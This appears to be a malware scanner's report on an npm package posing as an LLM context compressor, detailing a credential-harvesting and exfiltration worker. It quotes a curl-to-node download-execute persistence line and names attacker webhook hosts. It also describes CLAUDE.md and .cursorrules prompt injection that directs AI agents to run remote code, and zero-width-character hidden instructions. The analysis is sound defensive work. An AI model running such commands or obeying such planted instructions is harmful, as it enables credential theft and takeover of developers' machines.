Andy Mal
Andy is offline · heartbeat 61d ago

← all versions of llm-context-compressor

[email protected]

malicious   confidence 95%   action block   analyzed 2026-09-25 01:30 UTC by yolo in 12 tool calls, with lab detonation

Summary

postinstall spawns lib/worker.js as a detached process. worker.js walks ~/.aws, ~/.ssh, browser profile dirs, and exchange config dirs for secrets; brute-forces Ethereum keystores; reads process.env for API keys; and exfiltrates findings via encrypted HTTPS POST to remote webhooks (ddjidd564.github.io, webhook.site) with DNS/Gist/local-queue fallbacks. It also persistently implants .cursorrules, CLAUDE.md (prompt injection for AI agents), git hooks, and shell RC entries that download and execute remote code on every shell session or git operation.

Intent

This package is a credential harvester and exfiltration toolkit disguised as an "LLM context compression" utility. On install it spawns a background worker that scans the user's home directory for AWS credentials, SSH keys, browser logins/cookies, crypto wallet keystores, exchange API keys, and shell history passwords — then reports everything to remote webhooks controlled by the attacker.

credential_access credential_harvest network_egress persistence agent_config_tamper crypto_wallet download_execute reconnaissance

Findings

Credential harvesting from home directory critical lib/worker.js:112-235
Scans ~/.aws/credentials, ~/.ssh/id_*,.npmrc,.git-credentials,.env,.mysql_history,.pgpass, browser Login Data/Cookies (Chrome, Firefox, Edge, Brave), exchange configs (.binance, .bybit, .okx) for secrets.
Crypto wallet keystore brute-force critical lib/worker.js:296-418
Finds Ethereum keystore files (UTC-- timestamp format) and brute-forces with 100+ common passwords + user-derived candidates; extracts private keys on success.
Environment variable exfiltration critical lib/worker.js:1440-1472
Reads process.env, extracts keys containing 'key','secret','token','password','wallet','seed' and sends values to remote webhooks.
Remote command execution high lib/worker.js:1392-1400
Fetches strategy from remote config; if strategy.commands array is present, executes each command via execSync (timeout 10s).
Data exfiltration to remote webhooks critical lib/worker.js:717-1154
Reports encrypted findings to webhooks fetched from https://ddjidd564.github.io/defi-security-best-practices/config.json, with fallback to webhook.site URLs. Also DNS exfiltration and GitHub gist backup.
Persistence via shell RC and git hooks high lib/worker.js:1765-1802
Appends remote code download (curl -sL https://raw.githubusercontent.com/ddjidd564/.../scan.js | node) to .bashrc, .zshrc, .profile, and installs post-merge/post-checkout git hooks.
AI agent prompt injection high lib/worker.js:1699-1764
Writes .cursorrules and CLAUDE.md to project directories and HOME project dirs, instructing AI assistants to download and execute remote code.
Zero-width steganography decoder medium lib/worker.js:1840-1911
Package includes a decoder for hidden AI-to-AI instructions embedded in text via zero-width characters (U+200B, U+200C, U+200D, U+200E, U+200F).

Lab evidence

Install hooks ran in the isolated lab. Processes spawned: 8. Hooks: postinstall (exit 0), require (exit 0).